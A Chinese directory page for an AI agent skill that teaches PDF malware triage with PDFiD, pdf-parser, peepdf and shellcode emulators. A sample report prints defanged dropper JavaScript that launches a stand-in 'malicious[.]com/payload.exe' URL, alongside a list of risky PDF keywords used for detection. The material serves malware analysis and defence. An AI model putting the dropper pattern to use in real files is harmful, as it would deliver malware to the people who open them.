Token导航 LogoToken导航TokenDH.com
研究检索执行命令github未标认证来源可访问许可证需确认审计提醒

analyzing-pdf-malware-with-pdfidanalyzing PDF malware with pdfid 搜索

Agent Skill

analyzing-pdf-malware-with-pdfid 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

总安装

847

周安装

36

GitHub Stars

5,931

下载量

297
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:analyzing-pdf-malware-with-pdfid(analyzing PDF malware with pdfid 搜索)
来源仓库:https://github.com/mukul975/anthropic-cybersecurity-skills
仓库路径:skills/analyzing-pdf-malware-with-pdfid
安装命令:
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill analyzing-pdf-malware-with-pdfid
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill analyzing-pdf-malware-with-pdfid

简介

快速筛查 PDF 文档是否包含 JavaScript、shellcode 或恶意 URL。

  • 适用于邮件附件预检与 Exploit Kit 载荷识别任务。
  • 不解析视觉内容,仅关注 PDF 内部对象结构特征。
  • 推荐在隔离环境中运行,避免直接打开高危文件。
  • 结合其他工具如 pdf-parser 可进一步提升检出精度。

SKILL.md

Analyzing PDF Malware with PDFiD

When to Use

  • A suspicious PDF attachment has been flagged by email security or reported by a user
  • You need to determine if a PDF contains embedded JavaScript, shellcode, or exploit code
  • Triaging PDF documents before opening them in a sandbox or analysis environment
  • Extracting embedded executables, scripts, or URLs from malicious PDF objects
  • Analyzing PDF exploit kits targeting Adobe Reader or other PDF viewer vulnerabilities

Do not use for analyzing the rendered visual content of a PDF; this is for structural analysis of the PDF file format for malicious objects.

Prerequisites

  • Python 3.8+ with Didier Stevens' PDF tools installed (pip install pdfid pdf-parser)
  • peepdf installed for interactive PDF analysis (pip install peepdf)
  • pdftotext from poppler-utils for extracting text content safely
  • YARA with PDF-specific rules for malware family identification
  • Isolated analysis VM without a PDF reader installed (prevent accidental opening)
  • CyberChef for decoding embedded Base64, hex, or deflate streams

Workflow

Step 1: Initial Triage with PDFiD

Scan the PDF for suspicious keywords and structures:

# Run PDFiD to identify suspicious elements
pdfid suspect.pdf

# Expected output analysis:
# /JS           - JavaScript (HIGH risk)
# /JavaScript   - JavaScript object (HIGH risk)
# /AA           - Auto-Action triggered on open (HIGH risk)
# /OpenAction   - Action on document open (HIGH risk)
# /Launch       - Launch external application (HIGH risk)
# /EmbeddedFile - Embedded file (MEDIUM risk)
# /RichMedia    - Flash content (MEDIUM risk)
# /ObjStm       - Object stream (used for obfuscation)
# /URI          - URL reference (contextual risk)
# /AcroForm     - Interactive form (MEDIUM risk)

# Run with extra detail
pdfid -e suspect.pdf

# Run with disarming (rename suspicious keywords)
pdfid -d suspect.pdf
PDFiD Risk Assessment:
━━━━━━━━━━━━━━━━━━━━━
HIGH RISK indicators (any count > 0):
  /JS, /JavaScript  -> Embedded JavaScript code
  /AA               -> Automatic Action (triggers without user interaction)
  /OpenAction       -> Code runs when document is opened
  /Launch           -> Can launch external executables
  /JBIG2Decode      -> Associated with CVE-2009-0658 exploit

MEDIUM RISK indicators:
  /EmbeddedFile     -> Contains embedded files (could be EXE/DLL)
  /RichMedia        -> Flash/multimedia (Flash exploits)
  /AcroForm         -> Form with possible submit action
  /XFA              -> XML Forms Architecture (complex attack surface)

LOW RISK indicators:
  /ObjStm           -> Object streams (obfuscation technique)
  /URI              -> External URL references
  /Page             -> Number of pages (context only)

Step 2: Parse PDF Structure with pdf-parser

Examine suspicious objects identified by PDFiD:

# List all objects referencing JavaScript
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf

# List all objects with OpenAction
pdf-parser --search "/OpenAction" suspect.pdf

# Extract a specific object by ID (example: object 5)
pdf-parser --object 5 suspect.pdf

# Extract and decompress stream content
pdf-parser --object 5 --filter --raw suspect.pdf

# Search for embedded files
pdf-parser --search "/EmbeddedFile" suspect.pdf

# List all objects with their types
pdf-parser --stats suspect.pdf

Step 3: Extract and Analyze Embedded JavaScript

Pull out JavaScript code from PDF objects:

# Extract JavaScript using pdf-parser
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt

# Alternative: Use peepdf for interactive JavaScript extraction
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF

# peepdf interactive commands for JS analysis:
# js_analyse          - Extract and show all JavaScript code
# js_beautify         - Format extracted JavaScript
# js_eval <object>    - Evaluate JavaScript in sandboxed environment
# object <id>         - Display object content
# rawobject <id>      - Display raw object bytes
# stream <id>         - Display decompressed stream
# offsets             - Show object offsets in file
# Python script for comprehensive PDF JavaScript extraction
import subprocess
import re

# Extract all streams and search for JavaScript
result = subprocess.run(
    ["pdf-parser", "--stats", "suspect.pdf"],
    capture_output=True, text=True
)

# Find object IDs containing JavaScript references
js_objects = []
for line in result.stdout.split('\n'):
    if '/JavaScript' in line or '/JS' in line:
        obj_id = re.search(r'obj (\d+)', line)
        if obj_id:
            js_objects.append(obj_id.group(1))

# Extract each JavaScript-containing object
for obj_id in js_objects:
    result = subprocess.run(
        ["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
        capture_output=True, text=True
    )
    print(f"\n=== Object {obj_id} ===")
    print(result.stdout[:2000])

Step 4: Analyze Embedded Shellcode

Extract and examine shellcode from PDF exploits:

# Extract raw stream data for shellcode analysis
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf

# Analyze shellcode with scdbg (shellcode debugger)
scdbg /f shellcode.bin

# Alternative: Use speakeasy for shellcode emulation
python3 -c "
import speakeasy

se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)

# Review API calls made by shellcode
for event in se.get_report()['api_calls']:
    print(f\"{event['api']}: {event['args']}\")
"

# Use CyberChef to decode hex/base64 encoded shellcode
# Input: Extracted stream data
# Recipe: From Hex -> Disassemble x86

Step 5: Extract Embedded Files and URLs

Pull out embedded executables and linked resources:

# Extract embedded files from PDF
import subprocess
import hashlib

# Find embedded file objects
result = subprocess.run(
    ["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
    capture_output=True
)

# Extract embedded PE files by searching for MZ header
with open("suspect.pdf", "rb") as f:
    data = f.read()

# Search for embedded PE files
offset = 0
while True:
    pos = data.find(b'MZ', offset)
    if pos == -1:
        break
    # Verify PE signature
    if pos + 0x3C < len(data):
        pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
        if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
            print(f"Embedded PE found at offset 0x{pos:X}")
            # Extract (estimate size or use PE header)
            embedded = data[pos:pos+100000]  # Initial extraction
            sha256 = hashlib.sha256(embedded).hexdigest()
            with open(f"embedded_{pos:X}.exe", "wb") as out:
                out.write(embedded)
            print(f"  SHA-256: {sha256}")
    offset = pos + 1

# Extract URLs from PDF
result = subprocess.run(
    ["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
    capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>"]+)', result.stdout)
for url in set(urls):
    print(f"URL: {url}")

Step 6: Generate Analysis Report

Document all findings from the PDF analysis:

Analysis should cover:
- PDFiD triage results (suspicious keyword counts)
- PDF structure anomalies (object streams, cross-reference issues)
- Extracted JavaScript code (deobfuscated if needed)
- Shellcode analysis results (API calls, network indicators)
- Embedded files extracted with hashes
- URLs and external references
- CVE identification if a known exploit is detected
- YARA rule matches against known PDF malware families

Key Concepts

TermDefinition
PDF ObjectBasic building block of a PDF file; objects can contain streams (compressed data), dictionaries, arrays, and references to other objects
OpenActionPDF dictionary entry specifying an action to execute when the document is opened; commonly used to trigger JavaScript exploits
PDF StreamCompressed data within a PDF object that can contain JavaScript, images, embedded files, or shellcode; typically FlateDecode compressed
FlateDecodeZlib/deflate compression filter applied to PDF streams; must be decompressed to analyze contents
ObjStm (Object Stream)PDF feature storing multiple objects within a single compressed stream; used by malware to hide suspicious objects from simple parsers
JBIG2Image compression standard in PDFs; historical source of exploits (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY)
PDF JavaScript APIAdobe-specific JavaScript extensions available in PDF documents for form manipulation, network access, and OS interaction

Tools & Systems

  • PDFiD: Didier Stevens' tool for scanning PDF documents for suspicious keywords and structures without parsing the full document
  • pdf-parser: Companion tool to PDFiD for detailed PDF object extraction, stream decompression, and content analysis
  • peepdf: Python-based PDF analysis tool providing interactive shell for object inspection and JavaScript extraction
  • QPDF: PDF transformation tool for linearizing, decrypting, and restructuring PDFs for easier analysis
  • scdbg: Shellcode analysis tool that emulates x86 shellcode execution and logs API calls

Common Scenarios

Scenario: Triaging a Phishing PDF with Embedded JavaScript

Context: Email gateway flagged a PDF attachment with suspicious JavaScript indicators. The security team needs to determine if it contains an exploit or a social engineering redirect.

Approach:

  1. Run PDFiD to confirm /JS, /JavaScript, and /OpenAction presence and counts
  2. Use pdf-parser to extract the OpenAction object and follow its reference chain
  3. Extract the JavaScript code from the referenced stream object (apply FlateDecode filter)
  4. Deobfuscate the JavaScript (decode hex strings, resolve eval chains)
  5. Determine if the script exploits a PDF reader vulnerability (check for heap spray, ROP chains) or performs a redirect
  6. Extract all URLs, IPs, and embedded files as IOCs
  7. Classify the sample: exploit (specific CVE) or social engineering (redirect/phishing)

Pitfalls:

  • Opening the PDF in a standard reader instead of analyzing it with command-line tools
  • Missing JavaScript hidden inside Object Streams (/ObjStm) that PDFiD detects but simple parsers miss
  • Not decompressing streams before analysis (FlateDecode, ASCIIHexDecode, ASCII85Decode filters)
  • Assuming the absence of /JS means no JavaScript; code can be embedded in form fields (/AcroForm with /XFA)

Output Format

PDF MALWARE ANALYSIS REPORT
==============================
File:             invoice_2025.pdf
SHA-256:          e3b0c44298fc1c149afbf4c8996fb924...
File Size:        45,312 bytes
PDF Version:      1.7

PDFID TRIAGE
/JS:              1  [HIGH RISK]
/JavaScript:      1  [HIGH RISK]
/OpenAction:      1  [HIGH RISK]
/EmbeddedFile:    0
/Launch:          0
/URI:             2
/Page:            1
/ObjStm:          1  [OBFUSCATION]

SUSPICIOUS OBJECTS
Object 5:        /OpenAction -> references Object 8
Object 8:        /JavaScript stream (FlateDecode, 2,847 bytes decompressed)
Object 12:       /ObjStm containing objects 15-18

EXTRACTED JAVASCRIPT
Layer 1:          eval(unescape("%68%65%6C%6C%6F"))
Layer 2:          var url = "hxxp://malicious[.]com/payload.exe";
                  app.launchURL(url, true);
                  // Social engineering redirect, not exploit

EXTRACTED IOCs
URLs:             hxxp://malicious[.]com/payload.exe
                  hxxps://fake-login[.]com/adobe/verify
Domains:          malicious[.]com, fake-login[.]com

CLASSIFICATION
Type:             Social Engineering (URL redirect)
CVE:              None (no exploit code detected)
Risk:             HIGH (downloads executable payload)
Family:           Generic PDF Dropper

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

33.22%
按下载量换算99

Claude

28%
按下载量换算83

Cursor

20.24%
按下载量换算60

Gemini CLI

9.94%
按下载量换算30

安全审计

Gen Agent Trust Hub

通过

Socket

可疑

Snyk

可疑

权限和风险

执行命令

安装流程涉及命令执行,可能通过 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill analyzing-pdf-malware-with-pdfid 联网下载 Skill 或依赖。用户安装前应确认命令来源、仓库内容和执行环境。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills